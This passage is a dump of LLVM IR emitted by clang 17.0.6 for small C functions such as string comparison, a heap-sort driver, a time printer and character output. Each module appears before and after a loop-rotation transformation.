= %16 br label %21 21: ; preds = %._crit_edge, %1 ret void } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @putch(i8 noundef signext) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpn6sdxuoe.c' source_filename = "/tmp/tmpn6sdxuoe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"#string:\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @print_string_type_katcp(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store ptr %2, ptr %6, align 8 %8 = load ptr, ptr %6, align 8 store ptr %8, ptr %7, align 8 %9 = load ptr, ptr %7, align 8 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %12 11: ; preds = %3 br label %18 12: ; preds = %3 %13 = load ptr, ptr %4, align 8 %14 = call i32 @append_string_katcp(ptr noundef %13, i32 noundef 17, ptr noundef @.str) %15 = load ptr, ptr %4, align 8 %16 = load ptr, ptr %7, align 8 %17 = call i32 @append_string_katcp(ptr noundef %15, i32 noundef 18, ptr noundef %16) br label %18 18: ; preds = %12, %11 ret void } declare i32 @append_string_katcp(ptr noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpn6sdxuoe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"#string:\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @print_string_type_katcp(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store ptr %2, ptr %6, align 8 %8 = load ptr, ptr %6, align 8 store ptr %8, ptr %7, align 8 %9 = load ptr, ptr %7, align 8 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %12 11: ; preds = %3 br label %18 12: ; preds = %3 %13 = load ptr, ptr %4, align 8 %14 = call i32 @append_string_katcp(ptr noundef %13, i32 noundef 17, ptr noundef @.str) %15 = load ptr, ptr %4, align 8 %16 = load ptr, ptr %7, align 8 %17 = call i32 @append_string_katcp(ptr noundef %15, i32 noundef 18, ptr noundef %16) br label %18 18: ; preds = %12, %11 ret void } declare i32 @append_string_katcp(ptr noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmph6mxna11.c' source_filename = "/tmp/tmph6mxna11.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [21 x i8] c"value: %c, addr: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @send_do(i32 noundef %0, i8 noundef zeroext %1) #0 { %3 = alloca i32, align 4 %4 = alloca i8, align 1 store i32 %0, ptr %3, align 4 store i8 %1, ptr %4, align 1 %5 = load i8, ptr %4, align 1 %6 = zext i8 %5 to i32 %7 = icmp ne i32 %6, 0 %8 = zext i1 %7 to i64 %9 = select i1 %7, i32 84, i32 70 %10 = trunc i32 %9 to i8 %11 = load i32, ptr %3, align 4 %12 = call i32 @printf(ptr noundef @.str, i8 noundef signext %10, i32 noundef %11) ret void } declare i32 @printf(ptr noundef, i8 noundef signext, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmph6mxna11.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [21 x i8] c"value: %c, addr: %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @send_do(i32 noundef %0, i8 noundef zeroext %1) #0 { %3 = alloca i32, align 4 %4 = alloca i8, align 1 store i32 %0, ptr %3, align 4 store i8 %1, ptr %4, align 1 %5 = load i8, ptr %4, align 1 %6 = zext i8 %5 to i32 %7 = icmp ne i32 %6, 0 %8 = zext i1 %7 to i64 %9 = select i1 %7, i32 84, i32 70 %10 = trunc i32 %9 to i8 %11 = load i32, ptr %3, align 4 %12 = call i32 @printf(ptr noundef @.str, i8 noundef signext %10, i32 noundef %11) ret void } declare i32 @printf(ptr noundef, i8 noundef signext, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpauuef6gt.c' source_filename = "/tmp/tmpauuef6gt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @compare_strings(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %4, align 8 %9 = call i32 @string_length(ptr noundef %8) store i32 %9, ptr %6, align 4 %10 = load i32, ptr %6, align 4 %11 = load ptr, ptr %5, align 8 %12 = call i32 @string_length(ptr noundef %11) %13 = icmp ne i32 %10, %12 br i1 %13, label %14, label %15 14: ; preds = %2 store i32 0, ptr %3, align 4 br label %40 15: ; preds = %2 store i32 0, ptr %7, align 4 br label %16 16: ; preds = %36, %15 %17 = load i32, ptr %7, align 4 %18 = load i32, ptr %6, align 4 %19 = icmp slt i32 %17, %18 br i1 %19, label %20, label %39 20: ; preds = %16 %21 = load ptr, ptr %4, align 8 %22 = load i32, ptr %7, align 4 %23 = sext i32 %22 to i64 %24 = getelementptr inbounds i8, ptr %21, i64 %23 %25 = load i8, ptr %24, align 1 %26 = sext i8 %25 to i32 %27 = load ptr, ptr %5, align 8 %28 = load i32, ptr %7, align 4 %29 = sext i32 %28 to i64 %30 = getelementptr inbounds i8, ptr %27, i64 %29 %31 = load i8, ptr %30, align 1 %32 = sext i8 %31 to i32 %33 = icmp ne i32 %26, %32 br i1 %33, label %34, label %35 34: ; preds = %20 store i32 0, ptr %3, align 4 br label %40 35: ; preds = %20 br label %36 36: ; preds = %35 %37 = load i32, ptr %7, align 4 %38 = add nsw i32 %37, 1 store i32 %38, ptr %7, align 4 br label %16, !llvm.loop !6 39: ; preds = %16 store i32 1, ptr %3, align 4 br label %40 40: ; preds = %39, %34, %14 %41 = load i32, ptr %3, align 4 ret i32 %41 } declare i32 @string_length(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpauuef6gt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @compare_strings(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %4, align 8 %9 = call i32 @string_length(ptr noundef %8) store i32 %9, ptr %6, align 4 %10 = load i32, ptr %6, align 4 %11 = load ptr, ptr %5, align 8 %12 = call i32 @string_length(ptr noundef %11) %13 = icmp ne i32 %10, %12 br i1 %13, label %14, label %15 14: ; preds = %2 store i32 0, ptr %3, align 4 br label %42 15: ; preds = %2 store i32 0, ptr %7, align 4 %16 = load i32, ptr %7, align 4 %17 = load i32, ptr %6, align 4 %18 = icmp slt i32 %16, %17 br i1 %18, label %.lr.ph, label %41 .lr.ph: ; preds = %15 br label %19 19: ; preds = %.lr.ph, %35 %20 = load ptr, ptr %4, align 8 %21 = load i32, ptr %7, align 4 %22 = sext i32 %21 to i64 %23 = getelementptr inbounds i8, ptr %20, i64 %22 %24 = load i8, ptr %23, align 1 %25 = sext i8 %24 to i32 %26 = load ptr, ptr %5, align 8 %27 = load i32, ptr %7, align 4 %28 = sext i32 %27 to i64 %29 = getelementptr inbounds i8, ptr %26, i64 %28 %30 = load i8, ptr %29, align 1 %31 = sext i8 %30 to i32 %32 = icmp ne i32 %25, %31 br i1 %32, label %33, label %34 33: ; preds = %19 store i32 0, ptr %3, align 4 br label %42 34: ; preds = %19 br label %35 35: ; preds = %34 %36 = load i32, ptr %7, align 4 %37 = add nsw i32 %36, 1 store i32 %37, ptr %7, align 4 %38 = load i32, ptr %7, align 4 %39 = load i32, ptr %6, align 4 %40 = icmp slt i32 %38, %39 br i1 %40, label %19, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %35 br label %41 41: ; preds = %._crit_edge, %15 store i32 1, ptr %3, align 4 br label %42 42: ; preds = %41, %33, %14 %43 = load i32, ptr %3, align 4 ret i32 %43 } declare i32 @string_length(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpffmd4oc2.c' source_filename = "/tmp/tmpffmd4oc2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @GoRgbaResetPuddles(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 %7 = load ptr, ptr %3, align 8 %8 = getelementptr inbounds i32, ptr %7, i64 3 store ptr %8, ptr %5, align 8 %9 = load i32, ptr %4, align 4 %10 = ashr i32 %9, 2 store i32 %10, ptr %6, align 4 br label %11 11: ; preds = %16, %2 %12 = load i32, ptr %6, align 4 %13 = icmp sgt i32 %12, 0 br i1 %13, label %14, label %21 14: ; preds = %11 %15 = load ptr, ptr %5, align 8 store i32 255, ptr %15, align 4 br label %16 16: ; preds = %14 %17 = load i32, ptr %6, align 4 %18 = add nsw i32 %17, -1 store i32 %18, ptr %6, align 4 %19 = load ptr, ptr %5, align 8 %20 = getelementptr inbounds i32, ptr %19, i64 4 store ptr %20, ptr %5, align 8 br label %11, !llvm.loop !6 21: ; preds = %11 ret void } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpffmd4oc2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @GoRgbaResetPuddles(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 %7 = load ptr, ptr %3, align 8 %8 = getelementptr inbounds i32, ptr %7, i64 3 store ptr %8, ptr %5, align 8 %9 = load i32, ptr %4, align 4 %10 = ashr i32 %9, 2 store i32 %10, ptr %6, align 4 %11 = load i32, ptr %6, align 4 %12 = icmp sgt i32 %11, 0 br i1 %12, label %.lr.ph, label %22 .lr.ph: ; preds = %2 br label %13 13: ; preds = %.lr.ph, %15 %14 = load ptr, ptr %5, align 8 store i32 255, ptr %14, align 4 br label %15 15: ; preds = %13 %16 = load i32, ptr %6, align 4 %17 = add nsw i32 %16, -1 store i32 %17, ptr %6, align 4 %18 = load ptr, ptr %5, align 8 %19 = getelementptr inbounds i32, ptr %18, i64 4 store ptr %19, ptr %5, align 8 %20 = load i32, ptr %6, align 4 %21 = icmp sgt i32 %20, 0 br i1 %21, label %13, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %15 br label %22 22: ; preds = %._crit_edge, %2 ret void } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpeh1_g3e0.c' source_filename = "/tmp/tmpeh1_g3e0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%i \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [50 x i32], align 16 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %9 = getelementptr inbounds [50 x i32], ptr %6, i64 0, i64 0 %10 = call i32 @heapSort(ptr noundef %9, i32 noundef 50) store i32 0, ptr %7, align 4 br label %11 11: ; preds = %20, %2 %12 = load i32, ptr %7, align 4 %13 = icmp slt i32 %12, 28 br i1 %13, label %14, label %23 14: ; preds = %11 %15 = load i32, ptr %7, align 4 %16 = sext i32 %15 to i64 %17 = getelementptr inbounds [50 x i32], ptr %6, i64 0, i64 %16 %18 = load i32, ptr %17, align 4 %19 = call i32 @printf(ptr noundef @.str, i32 noundef %18) br label %20 20: ; preds = %14 %21 = load i32, ptr %7, align 4 %22 = add nsw i32 %21, 1 store i32 %22, ptr %7, align 4 br label %11, !llvm.loop !6 23: ; preds = %11 %24 = load i32, ptr %8, align 4 %25 = call i32 @scanf(ptr noundef @.str.1, i32 noundef %24) ret i32 0 } declare i32 @heapSort(ptr noundef, i32 noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @scanf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpeh1_g3e0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%i \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%i\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [50 x i32], align 16 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %9 = getelementptr inbounds [50 x i32], ptr %6, i64 0, i64 0 %10 = call i32 @heapSort(ptr noundef %9, i32 noundef 50) store i32 0, ptr %7, align 4 %11 = load i32, ptr %7, align 4 %12 = icmp slt i32 %11, 28 br i1 %12, label %.lr.ph, label %24 .lr.ph: ; preds = %2 br label %13 13: ; preds = %.lr.ph, %19 %14 = load i32, ptr %7, align 4 %15 = sext i32 %14 to i64 %16 = getelementptr inbounds [50 x i32], ptr %6, i64 0, i64 %15 %17 = load i32, ptr %16, align 4 %18 = call i32 @printf(ptr noundef @.str, i32 noundef %17) br label %19 19: ; preds = %13 %20 = load i32, ptr %7, align 4 %21 = add nsw i32 %20, 1 store i32 %21, ptr %7, align 4 %22 = load i32, ptr %7, align 4 %23 = icmp slt i32 %22, 28 br i1 %23, label %13, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %19 br label %24 24: ; preds = %._crit_edge, %2 %25 = load i32, ptr %8, align 4 %26 = call i32 @scanf(ptr noundef @.str.1, i32 noundef %25) ret i32 0 } declare i32 @heapSort(ptr noundef, i32 noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @scanf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmptm3__mwy.c' source_filename = "/tmp/tmptm3__mwy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [18 x i8] c"Current time = %s\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 %3 = call i32 @time(ptr noundef %2) %4 = call ptr @ctime(ptr noundef %2) %5 = call i32 @printf(ptr noundef @.str, ptr noundef %4) ret i32 0 } declare i32 @time(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare ptr @ctime(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmptm3__mwy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [18 x i8] c"Current time = %s\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 %3 = call i32 @time(ptr noundef %2) %4 = call ptr @ctime(ptr noundef %2) %5 = call i32 @printf(ptr noundef @.str, ptr noundef %4) ret i32 0 } declare i32 @time(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare ptr @ctime(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpaatm31sy.c' source_filename = "/tmp/tmpaatm31sy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @sputc(i8 noundef zeroext %0, i32 noundef %1) #0 { %3 = alloca i8, align 1 %4 = alloca i32, align 4 store i8 %0, ptr %3, align 1 store i32 %1, ptr %4, align 4 %5 = load i32, ptr %4, align 4 %6 = call i32 @write(i32 noundef %5, ptr noundef %3, i32 noundef 1) ret void } declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" 